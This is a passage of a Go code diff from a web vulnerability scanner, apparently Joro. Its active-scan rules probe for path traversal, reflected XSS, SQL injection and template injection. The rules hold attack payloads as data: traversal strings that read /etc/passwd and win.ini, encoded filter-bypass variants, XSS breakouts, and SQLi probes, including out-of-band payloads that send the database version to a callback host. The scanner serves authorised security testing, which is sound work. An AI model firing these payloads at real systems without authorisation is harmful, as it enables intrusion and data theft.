rePasswd = regexp.MustCompile(`root:.*:0:0:`)
reWinIni = regexp.MustCompile(`(?i)\[(?:fonts|extensions|mci extensions)\]|for 16-bit app support`)
reWebXML = regexp.MustCompile(`(?i)<web-app[\s>]`)
)
func fileCheck(id, name, desc string, payloads []string, re *regexp.Regexp, evidence string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc, Payloads: payloads,
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads, re, evidence) },
}
}
var checks = []injkit.Check{
fileCheck("unix-passwd", "Unix /etc/passwd",
"Traverses to /etc/passwd and matches the user-database format.",
[]string{"../../../../../../../../etc/passwd", "/etc/passwd", "....//....//....//....//etc/passwd"},
rePasswd, "response contains /etc/passwd contents (root:...:0:0:)"),
fileCheck("windows-winini", "Windows win.ini",
"Traverses to Windows win.ini and matches its section headers.",
[]string{"..\\..\\..\\..\\..\\windows\\win.ini", "C:\\windows\\win.ini"},
reWinIni, "response contains win.ini contents"),
fileCheck("java-webxml", "Java WEB-INF/web.xml",
"Reads WEB-INF/web.xml from a Java web app.",
[]string{"/WEB-INF/web.xml", "../../WEB-INF/web.xml"},
reWebXML, "response contains WEB-INF/web.xml contents"),
fileCheck("encoded", "Encoded traversal",
"URL-encoded traversal to /etc/passwd (filter-bypass variants).",
[]string{"..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", "..%5c..%5c..%5c..%5cwindows%5cwin.ini"},
rePasswd, "response contains /etc/passwd contents via encoded traversal"),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Path traversal / LFI" }
func (*Rule) Category() detect.Category { return detect.CategoryPathTraversal }
func (*Rule) Description() string {
return "Replaces each parameter with directory-traversal payloads (encoded and raw, Unix and " +
"Windows) and reports when the response returns the contents of a well-known file " +
"(/etc/passwd, win.ini, WEB-INF/web.xml) — confirmed path traversal / local file inclusion."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryPathTraversal, "Path traversal / LFI")
return nil
}
func probe(pc injkit.ProbeCtx, payloads []string, re *regexp.Regexp, evidence string) {
for _, pl := range payloads {
res := pc.Inject(pl, false)
if res != nil && re.Match(res.Resp.Body) {
pc.File(detect.SeverityHigh, "path traversal in "+pc.Point.Name+" via "+pl, evidence, res.URL)
return
}
}
}
@@ -0,0 +1,83 @@
// Package reflectedxss is the active reflected-XSS rule. Each check injects a unique
// canary with a particular breakout payload and reuses internal/echo's analyzer
// (enumeration, context classification, breakout rubric) on the (mutated request,
// response) pair; a reflection that breaks out of its context is a finding.
package reflectedxss
import (
"context"
"crypto/rand"
"encoding/hex"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
)
const (
ruleID = "reflectedxss"
findingRule = "activescan.reflectedxss"
)
func styleCheck(id, name, desc, suffix string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc,
Payloads: []string{"<canary>" + suffix},
Probe: func(pc injkit.ProbeCtx) { probe(pc, suffix) },
}
}
var checks = []injkit.Check{
styleCheck("html-text", "HTML text breakout", "Breaks out of HTML text/attribute with angle brackets and quotes.", `"'></`),
styleCheck("attribute", "Attribute event-handler", "Breaks out of an attribute into an event handler.", `" autofocus onfocus=jo `),
styleCheck("script", "Script string breakout", "Breaks out of a JavaScript string context.", `';jo//`),
styleCheck("template", "Template/backtick breakout", "Breaks out of a template-literal/backtick context.", "`+jo+`"),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Reflected XSS" }
func (*Rule) Category() detect.Category { return detect.CategoryReflectedXSS }
func (*Rule) Description() string {
return "Injects a unique canary with HTML/JS-breaking characters into each request " +
"parameter and reuses the Echo analyzer to decide whether it reflects into an " +
"exploitable, unescaped context (a breakout) — confirmed reflected cross-site scripting."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryReflectedXSS, "Reflected XSS")
return nil
}
func probe(pc injkit.ProbeCtx, suffix string) {
canary := "joro" + randHex(5)
res := pc.Inject(canary+suffix, false)
if res == nil {
return
}
cr := &proxy.CapturedRequest{ReqRaw: res.RawReq, RespRaw: res.RespRaw, Host: pc.Host, URL: res.URL, Method: res.Method}
report := echo.Analyze(cr, echo.DefaultConfig())
for _, refl := range report.Reflections {
if refl.Breakout && strings.Contains(refl.Value, canary) {
pc.File(detect.SeverityHigh, "parameter "+pc.Point.Name+" reflects unescaped into "+string(refl.Context),
"canary broke out of the "+string(refl.Context)+" context; surviving characters: "+refl.Survived, res.URL)
return
}
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
+233
View File
@@ -0,0 +1,233 @@
package activescan
import (
"context"
"fmt"
"sync"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
)
// Run is one scan execution.
type Run struct {
ID string `json:"id"`
Host string `json:"host"`
Origin string `json:"origin"`
Scope string `json:"scope"` // "host" | "request"
Rules []string `json:"rules"`
CreatedAt time.Time `json:"createdAt"`
Total int `json:"total"`
Config Config `json:"-"`
urls []TargetURL // the scope-filtered URLs this run exercises
mu sync.RWMutex
status Status
completed int
errors int
findings int
errMsgs []string
cancel context.CancelFunc
}
// NewRun creates a running scan with its totals set. total is the number of work
// units the run expects to complete: one per (rule, URL).
func NewRun(id string, cfg Config, t Target, ruleIDs []string, total int) *Run {
return &Run{
ID: id,
Host: t.Host,
Origin: t.Origin,
Scope: cfg.Scope,
Rules: ruleIDs,
CreatedAt: time.Now(),
Total: total,
Config: cfg,
urls: t.URLs,
status: StatusRunning,
}
}
// Status reports the run's state.
func (r *Run) Status() Status {
r.mu.RLock()
defer r.mu.RUnlock()
return r.status
}
// Counts reports progress.
func (r *Run) Counts() (completed, errors, findings int) {
r.mu.RLock()
defer r.mu.RUnlock()
return r.completed, r.errors, r.findings
}
// Errors returns the rule-level failures observed so far.
func (r *Run) Errors() []string {
r.mu.RLock()
defer r.mu.RUnlock()
return append([]string{}, r.errMsgs...)
}
func (r *Run) addProgress(delta int) {
r.mu.Lock()
r.completed += delta
r.mu.Unlock()
}
func (r *Run) addFinding() {
r.mu.Lock()
r.findings++
r.mu.Unlock()
}
func (r *Run) addError(msg string) {
r.mu.Lock()
r.errors++
r.errMsgs = append(r.errMsgs, msg)
r.mu.Unlock()
}
func (r *Run) finish(s Status) {
r.mu.Lock()
defer r.mu.Unlock()
if r.status == StatusRunning {
r.status = s
}
}
// Stop cancels a running run.
func (r *Run) Stop() bool {
r.mu.Lock()
cancel := r.cancel
running := r.status == StatusRunning
if running {
r.status = StatusStopped
}
r.mu.Unlock()
if cancel != nil {
cancel()
}
return running
}
func (r *Run) setCancel(cancel context.CancelFunc) {
r.mu.Lock()
defer r.mu.Unlock()
r.cancel = cancel
}
// Deps is what a run needs from the host process.
type Deps struct {
// Broadcast is the hub's channel, carrying event.WSEvent values.
Broadcast chan<- any
// Findings is the shared detect store a rule's results are filed into.
Findings *detect.Store
// Notify pushes the aggregate detect.summary (s.broadcastDetectSummary).
Notify func()
// Registry resolves the run's rule IDs to Rule implementations.
Registry *Registry
// RuleDeps is forwarded to each rule.
RuleDeps RuleDeps
}
// Plan reports how many work units a scan will run and refuses one that cannot
// run, before any browser launches or byte goes on the wire.
func Plan(cfg Config, t Target, rules []Rule) (int, error) {
if len(t.URLs) == 0 {
return 0, fmt.Errorf("no in-scope URLs to scan")
}
if len(rules) == 0 {
return 0, fmt.Errorf("no active-scan rules selected")
}
return len(t.URLs) * len(rules), nil
}
// Execute runs every selected rule against the target, sequentially.
func Execute(ctx context.Context, run *Run, d Deps) {
budget := time.Duration(clampInt(run.Config.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
runCtx, cancel := context.WithTimeout(ctx, budget)
defer cancel()
run.setCancel(cancel)
started := time.Now()
broadcast(d, "activescan.started", map[string]any{
"runId": run.ID, "host": run.Host, "origin": run.Origin,
"scope": run.Scope, "rules": run.Rules, "total": run.Total,
})
rep := &reporter{run: run, d: d}
rules := d.Registry.Resolve(run.Config.Rules)
status := StatusComplete
for _, rule := range rules {
if runCtx.Err() != nil {
status = StatusStopped
break
}
if err := rule.Run(runCtx, Target{
Scheme: schemeOf(run.Origin), Host: run.Host, Origin: run.Origin, URLs: run.urls,
}, run.Config, d.RuleDeps, rep); err != nil {
run.addError(fmt.Sprintf("%s: %v", rule.Name(), err))
}
}
if runCtx.Err() != nil {
status = StatusStopped
}
run.finish(status)
completed, errs, findings := run.Counts()
broadcast(d, "activescan.complete", map[string]any{
"runId": run.ID, "status": string(run.Status()),
"completed": completed, "errors": errs, "findings": findings,
"durationMs": time.Since(started).Milliseconds(),
})
}
// reporter adapts a run and its deps to the Reporter a rule writes through.
type reporter struct {
run *Run
d Deps
}
func (r *reporter) Progress(delta int) {
if delta <= 0 {
return
}
r.run.addProgress(delta)
completed, _, findings := r.run.Counts()
broadcast(r.d, "activescan.progress", map[string]any{
"runId": r.run.ID, "scanned": completed, "total": r.run.Total, "findings": findings,
})
}
func (r *reporter) Finding(f detect.Finding) {
if r.d.Findings == nil {
return
}
saved, isNew := r.d.Findings.Upsert(f)
r.run.addFinding()
broadcast(r.d, "detect.finding", map[string]any{"finding": saved, "isNew": isNew})
if r.d.Notify != nil {
r.d.Notify()
}
}
// broadcast sends blocking, from the run's own goroutine, like chainrun and
// fuzzer: Hub.Subscribe fans out without blocking, so a slow subscriber cannot
// stall the run, and blocking keeps the client's progress agreeing with the run.
func broadcast(d Deps, typ string, data map[string]any) {
if d.Broadcast == nil {
return
}
d.Broadcast <- event.WSEvent{Type: typ, Data: data}
}
func schemeOf(origin string) string {
if len(origin) >= 8 && origin[:8] == "https://" {
return "https"
}
return "http"
}
+154
View File
@@ -0,0 +1,154 @@
// Package sqli is the active SQL-injection rule. It exposes a catalog of named
// checks (error-based, boolean-based, time-based, out-of-band); each appends
// read-only payloads to a parameter and confirms via the shared DB-error matcher, a
// structural true/false differential, a timing delay, or a callback.
package sqli
import (
"context"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "sqli"
findingRule = "activescan.sqli"
sleepMs = 5000
oastWindow = 12 * time.Second
)
var errorSuffixes = []string{`'`, `"`, `')`, `'"`}
var booleanPairs = [][2]string{
{`' AND '1'='1`, `' AND '1'='2`},
{` AND 1=1`, ` AND 1=2`},
{`" AND "1"="1`, `" AND "1"="2`},
}
var timeSuffixes = []string{
`' AND SLEEP(5)-- -`,
` AND SLEEP(5)`,
`'||pg_sleep(5)--`,
`';WAITFOR DELAY '0:0:5'--`,
}
func oastSuffixes(host string) []string {
return []string{
`' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.` + host + `\\x')))-- -`,
`';EXEC master..xp_dirtree '\\` + host + `\x';--`,
`'||(SELECT UTL_INADDR.get_host_address('` + host + `') FROM dual)--`,
}
}
var checks = []injkit.Check{
{
ID: "error-based", Name: "Error-based", Severity: detect.SeverityHigh,
Description: "Appends quote/paren breakers and matches the response against database error signatures.",
Payloads: errorSuffixes,
Probe: errorBased,
},
{
ID: "boolean-based", Name: "Boolean-based", Severity: detect.SeverityHigh,
Description: "Sends a TRUE and a FALSE condition and reports when TRUE matches the baseline while FALSE differs.",
Payloads: []string{`' AND '1'='1`, `' AND '1'='2`, ` AND 1=1`, ` AND 1=2`},
Probe: booleanBased,
},
{
ID: "time-based", Name: "Time-based", Severity: detect.SeverityHigh,
Description: "Injects a database sleep and confirms a delayed response twice to reject jitter.",
Payloads: timeSuffixes,
Probe: timeBased,
},
{
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityHigh,
Description: "Injects DNS/SMB exfiltration payloads and polls the callback listener for an interaction.",
Payloads: []string{`LOAD_FILE(CONCAT('\\\\',…,'.<callback>\\x'))`, `xp_dirtree '\\<callback>\x'`, `UTL_INADDR.get_host_address('<callback>')`},
RequiresOAST: true,
Probe: oastBased,
},
}
// Rule implements activescan.Rule and activescan.Cataloger (via the embedded set).
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "SQL injection" }
func (*Rule) Category() detect.Category { return detect.CategorySQLi }
func (*Rule) Description() string {
return "Appends error-based, boolean-differential, time-based, and (when a callback " +
"listener is configured) out-of-band SQL payloads to each parameter, confirming via " +
"database error signatures, a true/false response differential, a timing delay, or a callback."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySQLi, "SQL injection")
return nil
}
func errorBased(pc injkit.ProbeCtx) {
for _, s := range errorSuffixes {
res := pc.Inject(s, true)
if res == nil {
continue
}
if engine, ev, ok := detect.MatchSQLError(res.Resp.Body); ok {
pc.File(detect.SeverityHigh, "error-based SQLi in "+pc.Point.Name+" ("+engine+")", engine+" error: "+ev, res.URL)
return
}
}
}
func booleanBased(pc injkit.ProbeCtx) {
for _, pair := range booleanPairs {
tr, fa := pc.Inject(pair[0], true), pc.Inject(pair[1], true)
if tr == nil || fa == nil {
continue
}
if injkit.SameStructure(tr.Fingerprint, pc.Base.Fingerprint) &&
!injkit.SameStructure(fa.Fingerprint, pc.Base.Fingerprint) {
pc.File(detect.SeverityHigh, "boolean-based SQLi in "+pc.Point.Name,
"TRUE ("+pair[0]+") matched the baseline; FALSE ("+pair[1]+") differed", tr.URL)
return
}
}
}
func timeBased(pc injkit.ProbeCtx) {
for _, s := range timeSuffixes {
res := pc.Inject(s, true)
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
continue
}
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
pc.File(detect.SeverityHigh, "time-based blind SQLi in "+pc.Point.Name,
"injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
return
}
}
}
func oastBased(pc injkit.ProbeCtx) {
if pc.OAST == nil {
return
}
tokenID, host, err := pc.OAST.Token("sqli")
if err != nil {
return
}
for _, s := range oastSuffixes(host) {
pc.Inject(s, true)
}
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
pc.File(detect.SeverityHigh, "out-of-band SQLi in "+pc.Point.Name,
"an injected payload triggered a callback to "+host, pc.Base.URL)
}
}
+67
View File
@@ -0,0 +1,67 @@
// Package ssti is the active server-side template injection rule. Each check
// replaces the parameter with one engine family's arithmetic polyglot and confirms
// when the computed product appears in the response.
package ssti
import (
"context"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "ssti"
findingRule = "activescan.ssti"
product = "1649858" // 1337 * 1234, distinctive and unlikely to occur naturally
)
func syntaxCheck(id, name, desc string, payloads []string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityCritical, Description: desc, Payloads: payloads,
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads) },
}
}
var checks = []injkit.Check{
syntaxCheck("jinja-twig", "Jinja/Twig {{…}}", "Doubled-brace expression (Jinja2, Twig, Nunjucks).", []string{`{{1337*1234}}`}),
syntaxCheck("dollar-hash", "Freemarker/Velocity ${…}/#{…}", "Dollar/hash expression (Freemarker, Velocity, Thymeleaf).", []string{`${1337*1234}`, `#{1337*1234}`}),
syntaxCheck("erb-jsp", "ERB/JSP <%= … %>", "Scriptlet expression (ERB, JSP, ASP).", []string{`<%= 1337*1234 %>`}),
syntaxCheck("razor", "Razor @(…)", "Razor expression (.NET).", []string{`@(1337*1234)`}),
syntaxCheck("smarty-mako", "Smarty/Mako/other", "Single-brace and assignment forms (Smarty, Mako, Spring EL).", []string{`{1337*1234}`, `*{1337*1234}`, `#set($x=1337*1234)$x`}),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Server-side template injection" }
func (*Rule) Category() detect.Category { return detect.CategorySSTI }
func (*Rule) Description() string {
return "Injects arithmetic-expression polyglots across common template engines (Jinja, " +
"Twig, Freemarker, Velocity, ERB, Razor and others) into each parameter; if the " +
"computed product appears in the response, the engine evaluated the expression."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySSTI, "Server-side template injection")
return nil
}
func probe(pc injkit.ProbeCtx, payloads []string) {
for _, pl := range payloads {
res := pc.Inject(pl, false)
if res != nil && strings.Contains(string(res.Resp.Body), product) {
pc.File(detect.SeverityCritical, "SSTI in "+pc.Point.Name,
"payload "+pl+" produced "+product+" in the response", res.URL)
return
}
}
}
+98
View File
@@ -0,0 +1,98 @@
package activescan
import "sync"
// Store holds runs in memory, bounded like chainrun.Store. Runs are session
// state and never reach the project file.
type Store struct {
mu sync.RWMutex
runs []*Run
}
// NewStore creates an empty run store.
func NewStore() *Store { return &Store{} }
// Get returns a run by ID, or nil.
func (s *Store) Get(id string) *Run {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.runs {
if r.ID == id {
return r
}
}
return nil
}
// List returns every run, newest first.
func (s *Store) List() []*Run {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*Run, len(s.runs))
for i, r := range s.runs {
out[len(s.runs)-1-i] = r
}
return out
}
// Running returns the run currently in flight, or nil.
func (s *Store) Running() *Run {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.runs {
if r.Status() == StatusRunning {
return r
}
}
return nil
}
// AddIfIdle adds a run only if none is in flight, returning the run that blocked
// it or nil on success.
//
// One lock for the test and the insert: a Running check then a separate Add
// leaves a gap two requests both pass, which is the concurrent scan the
// single-run rule exists to prevent.
func (s *Store) AddIfIdle(r *Run) *Run {
s.mu.Lock()
defer s.mu.Unlock()
for _, old := range s.runs {
if old.Status() == StatusRunning {
return old
}
}
if len(s.runs) >= MaxRuns {
for i, old := range s.runs {
if old.Status() != StatusRunning {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
break
}
}
}
s.runs = append(s.runs, r)
return nil
}
// Delete removes a run, reporting whether it was found.
func (s *Store) Delete(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, r := range s.runs {
if r.ID == id {
s.runs = append(s.runs[:i], s.runs[i+1:]...)
return true
}
}
return false
}
// Clear stops and drops every run, for a project switch.
func (s *Store) Clear() {
s.mu.Lock()
runs := s.runs
s.runs = nil
s.mu.Unlock()
for _, r := range runs {
r.Stop()
}
}
+19
View File
@@ -0,0 +1,19 @@
# Attribution — signatures.json
`signatures.json` is a normalized, curated derivative of the
[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project
by ProjectDiscovery, used under the MIT License.
- Source: `github.com/projectdiscovery/nuclei-templates`
- License: MIT (permits modification and redistribution with this notice)
- Generated at design time by `tools/nucleigen` from commit
`58670555f97912d95733b509e08061785f66e5e5` (subtrees `http/exposures`,
`http/misconfiguration`, `http/exposed-panels`).
Each entry records the originating template id (`nucleiId`) and its path within
the checkout (`source`). Only templates whose whole logic fits Joro's supported
HTTP matcher subset were converted; the rest were dropped (see the converter's
skip census). The dataset is regenerated, never hand-edited.
The MIT license text accompanies the ProjectDiscovery repository; this derivative
is distributed under the same terms.
@@ -0,0 +1,58 @@
package templatesig
import (
_ "embed"
"encoding/json"
"regexp"
)
// signaturesJSON is the normalized, curated check set produced at design time by
// tools/nucleigen from a reviewed nuclei-templates checkout. It is embedded data,
// not a Go dependency; the server never parses a nuclei YAML template.
//
//go:embed signatures.json
var signaturesJSON []byte
// load parses and compiles the embedded dataset once, on the Rule instance (not a
// package global, per the no-globals rule). A signature whose regex will not
// compile under RE2 is dropped whole rather than run half-blind.
func (r *Rule) load() ([]Signature, error) {
r.once.Do(func() {
var sigs []Signature
if err := json.Unmarshal(signaturesJSON, &sigs); err != nil {
r.err = err
return
}
out := make([]Signature, 0, len(sigs))
for i := range sigs {
if compileSignature(&sigs[i]) {
out = append(out, sigs[i])
}
}
r.sigs = out
})
return r.sigs, r.err
}
// compileSignature compiles every regex matcher in a signature. It returns false
// if any regex is rejected by RE2, so the caller can drop the whole check.
func compileSignature(sig *Signature) bool {
for ri := range sig.Requests {
req := &sig.Requests[ri]
for mi := range req.Matchers {
m := &req.Matchers[mi]
if m.Type != "regex" {
continue
}
m.compiled = m.compiled[:0]
for _, expr := range m.Regexes {
re, err := regexp.Compile(expr)
if err != nil {
return false
}
m.compiled = append(m.compiled, re)
}
}
}
return true
}
+135
View File
@@ -0,0 +1,135 @@
package templatesig
import (
"strconv"
"strings"
"github.com/BishopFox/joro/internal/activescan"
)
// selectSignatures narrows the dataset to what should run against one host: the
// scan's tag/severity filters, then fingerprint gating.
//
// Gating runs a signature when it is tech-agnostic (no RequiresTech) or when one
// of its required technologies is present on the host, version permitting. With
// IgnoreFingerprint set, or no fingerprint store wired, gating is skipped and
// every tag/severity-passing signature runs. When the host has a fingerprint but
// nothing was detected, only tech-agnostic signatures run.
func selectSignatures(sigs []Signature, cfg activescan.Config, deps activescan.RuleDeps, host string, disabled *activescan.DisabledSet) []Signature {
tagFilter := lowerSet(cfg.Tags)
sevFilter := lowerSet(cfg.Severity)
gate := !cfg.IgnoreFingerprint && deps.Tech != nil
var detected map[string]string // lower tech name -> version ("" if unknown)
if gate {
detected = map[string]string{}
if ht, ok := deps.Tech.Host(host); ok {
for _, t := range ht.Technologies {
detected[strings.ToLower(t.Name)] = t.Version
}
}
}
out := make([]Signature, 0, len(sigs))
for _, sig := range sigs {
if !disabled.IsItemEnabled(sig.ID) {
continue
}
if len(tagFilter) > 0 && !anyIn(sig.Tags, tagFilter) {
continue
}
if len(sevFilter) > 0 && !sevFilter[strings.ToLower(sig.Severity)] {
continue
}
if gate && !eligible(sig, detected) {
continue
}
out = append(out, sig)
}
return out
}
// eligible reports whether a signature's technology preconditions are met.
func eligible(sig Signature, detected map[string]string) bool {
if len(sig.RequiresTech) == 0 {
return true
}
for _, req := range sig.RequiresTech {
ver, ok := detected[strings.ToLower(req.Name)]
if ok && versionOK(ver, req) {
return true
}
}
return false
}
// versionOK applies a version constraint, failing open on an unknown version: a
// detected-but-unversioned technology always satisfies the bound, because
// skipping a possibly-vulnerable host is worse than an occasional wasted probe.
func versionOK(detected string, req TechReq) bool {
if detected == "" {
return true
}
if req.MinVersion != "" && compareVersion(detected, req.MinVersion) < 0 {
return false
}
if req.MaxVersion != "" && compareVersion(detected, req.MaxVersion) >= 0 {
return false
}
return true
}
// compareVersion compares dotted numeric versions, returning -1, 0 or 1. A
// non-numeric segment compares as 0, which is lenient by design.
func compareVersion(a, b string) int {
as := strings.Split(a, ".")
bs := strings.Split(b, ".")
for i := 0; i < len(as) || i < len(bs); i++ {
var x, y int
if i < len(as) {
x, _ = strconv.Atoi(numeric(as[i]))
}
if i < len(bs) {
y, _ = strconv.Atoi(numeric(bs[i]))
}
if x != y {
if x < y {
return -1
}
return 1
}
}
return 0
}
// numeric keeps the leading digit run of a version segment ("4rc1" -> "4").
func numeric(s string) string {
for i := 0; i < len(s); i++ {
if s[i] < '0' || s[i] > '9' {
return s[:i]
}
}
return s
}
func lowerSet(in []string) map[string]bool {
if len(in) == 0 {
return nil
}
out := make(map[string]bool, len(in))
for _, s := range in {
if s = strings.ToLower(strings.TrimSpace(s)); s != "" {
out[s] = true
}
}
return out
}
func anyIn(vals []string, set map[string]bool) bool {
for _, v := range vals {
if set[strings.ToLower(v)] {
return true
}
}
return false
}
+217
View File
@@ -0,0 +1,217 @@
package templatesig
import (
"fmt"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/httptools"
)
// replacer substitutes the URL template tokens nuclei expands inside matcher
// words at match time. BaseURL is the target origin; Host is its host[:port].
type replacer struct {
baseURL string
host string
}
func (r replacer) apply(s string) string {
if !strings.Contains(s, "{{") {
return s
}
s = strings.ReplaceAll(s, "{{BaseURL}}", r.baseURL)
s = strings.ReplaceAll(s, "{{RootURL}}", r.baseURL)
s = strings.ReplaceAll(s, "{{Hostname}}", r.host)
s = strings.ReplaceAll(s, "{{Host}}", r.host)
return s
}
// evalMatchers evaluates a request's matcher set against a response and returns
// whether it matched, with a short evidence string naming what matched.
func evalMatchers(req *Request, resp httptools.Response, rp replacer) (bool, string) {
if len(req.Matchers) == 0 {
return false, ""
}
and := strings.EqualFold(req.MatchersCondition, "and")
var evidence []string
allOK := true
anyOK := false
for i := range req.Matchers {
ok, ev := evalMatcher(&req.Matchers[i], resp, rp)
if ok {
anyOK = true
if ev != "" {
evidence = append(evidence, ev)
}
} else {
allOK = false
}
}
matched := anyOK
if and {
matched = allOK
}
if !matched {
return false, ""
}
return true, strings.Join(evidence, "; ")
}
// evalMatcher evaluates one matcher. Negative inverts the result; a negative
// match reports no evidence (there is nothing to show).
func evalMatcher(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
ok, ev := matcherHit(m, resp, rp)
if m.Negative {
return !ok, ""
}
return ok, ev
}
func matcherHit(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
switch m.Type {
case "status":
for _, s := range m.Status {
if resp.Status == s {
return true, "status " + strconv.Itoa(s)
}
}
return false, ""
case "size":
n := len(resp.Body)
for _, s := range m.Sizes {
if n == s {
return true, "size " + strconv.Itoa(n)
}
}
return false, ""
case "word":
return matchWords(m, part(m.Part, resp), rp)
case "regex":
return matchRegexes(m, part(m.Part, resp))
default:
return false, ""
}
}
// matchWords applies the word list with the matcher's and/or condition. Words are
// matched case-insensitively, matching nuclei's default.
func matchWords(m *Matcher, hay string, rp replacer) (bool, string) {
if len(m.Words) == 0 {
return false, ""
}
and := strings.EqualFold(m.Condition, "and")
lower := strings.ToLower(hay)
anyOK, allOK := false, true
var first string
for _, w := range m.Words {
w = rp.apply(w)
if strings.Contains(lower, strings.ToLower(w)) {
anyOK = true
if first == "" {
first = w
}
} else {
allOK = false
}
}
if (and && allOK) || (!and && anyOK) {
return true, "matched " + strconv.Quote(first)
}
return false, ""
}
// matchRegexes applies the compiled regex list with the matcher's and/or
// condition. The evidence is the first concrete match, truncated.
func matchRegexes(m *Matcher, hay string) (bool, string) {
if len(m.compiled) == 0 {
return false, ""
}
and := strings.EqualFold(m.Condition, "and")
anyOK, allOK := false, true
var first string
for _, re := range m.compiled {
if loc := re.FindString(hay); loc != "" || re.MatchString(hay) {
anyOK = true
if first == "" {
first = loc
}
} else {
allOK = false
}
}
if (and && allOK) || (!and && anyOK) {
return true, "matched " + strconv.Quote(truncate(first, 80))
}
return false, ""
}
// part selects the response region a matcher reads. Default is the body.
func part(name string, resp httptools.Response) string {
switch strings.ToLower(name) {
case "header", "headers":
return headerString(resp)
case "all", "response", "raw":
return headerString(resp) + "\r\n\r\n" + string(resp.Body)
default:
return string(resp.Body)
}
}
func headerString(resp httptools.Response) string {
var b strings.Builder
fmt.Fprintf(&b, "HTTP %d\r\n", resp.Status)
for k, vs := range resp.Header {
for _, v := range vs {
b.WriteString(k)
b.WriteString(": ")
b.WriteString(v)
b.WriteString("\r\n")
}
}
return b.String()
}
func truncate(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "…"
}
// spreader distributes a rule's share of the run's URL-based total across its own
// internal steps, so the scan's completed/total stays coherent when the rule's
// real unit of work (signatures) differs from the planned unit (URLs).
type spreader struct {
rep activescan.Reporter
budget int
steps int
done int
emitted int
}
func newSpreader(rep activescan.Reporter, budget, steps int) *spreader {
return &spreader{rep: rep, budget: budget, steps: steps}
}
func (p *spreader) step() {
p.done++
want := p.budget
if p.steps > 0 {
want = p.budget * p.done / p.steps
}
if want > p.budget {
want = p.budget
}
if want > p.emitted {
p.rep.Progress(want - p.emitted)
p.emitted = want
}
}
func (p *spreader) finish() {
if p.budget > p.emitted {
p.rep.Progress(p.budget - p.emitted)
p.emitted = p.budget
}
}
+90
View File
@@ -0,0 +1,90 @@
package templatesig
import (
"fmt"
"net/url"
"strings"
"github.com/BishopFox/joro/internal/httptools"
)
// defaultUA is sent unless a signature overrides User-Agent. A plain browser
// string keeps a probe from standing out from ordinary traffic.
const defaultUA = "Mozilla/5.0 (compatible; Joro)"
// renderRequest builds raw HTTP/1.1 bytes for one probe against origin. The path
